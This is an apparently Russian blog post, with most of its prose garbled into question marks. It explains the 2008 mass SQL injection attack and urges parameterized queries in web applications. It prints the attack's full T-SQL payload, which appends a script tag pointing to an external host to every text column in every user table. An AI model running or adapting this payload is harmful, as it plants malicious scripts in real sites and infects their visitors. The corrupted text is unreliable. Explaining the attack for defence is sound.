Note
Access to this page requires authorization. You can try signing in or changing directories.
Access to this page requires authorization. You can try changing directories.
??? ????? ??????? ?????????? ?? ???????????? ????????? ????? SQL injection ??????, ? ????? ???????????? ?? ?????????????? ???????: https://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx
??? ?? ??????????. ??????: ? ????? ???????? ???? ?????? ???? ??? ????????? ????? SQL injection ???? ?? Web ??????????. ??? ????? ?? ????????? ?????-???? ??????????? ? SQL Server ??? IIS; ????? ?????????? ?????????? ????? Web ??????????. ???????? ????? ????: ?????????? Web ?????????? ?????? ????????????? ??????????? ????? ?? SQL Server-? ? ?????????? ???????? ?????????? ????:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='U' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=https://www.************.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
????? ?????? ????????? ?????? ?? ???? ?????????? ???????? ? ???????????????? ???????? ?? SQL Server-?, ???????? ? ??? ?????? ?? ????????? ??????, ??????? ?????? ? ????? ???????????? ????????????? ?????? ?????????? ?????? ? ???????.
???????? ?????: Web ?????????? ?????? ???????????? ??????????? ??????????? ?????????? ?? SQL Server-? ????? ?????????????. ?? ?????? ??? ????????? ???????? ???????? ? ????? ?????? ???????????? ??? ????????? ?? ??????????? ?? ?? ????? ?????.
???? ??????? ???????? J
Comments
- Anonymous
January 01, 2003
Посвящается моим студентам, жалующимся на высокую требовательность к качеству кода при сдаче лабораторных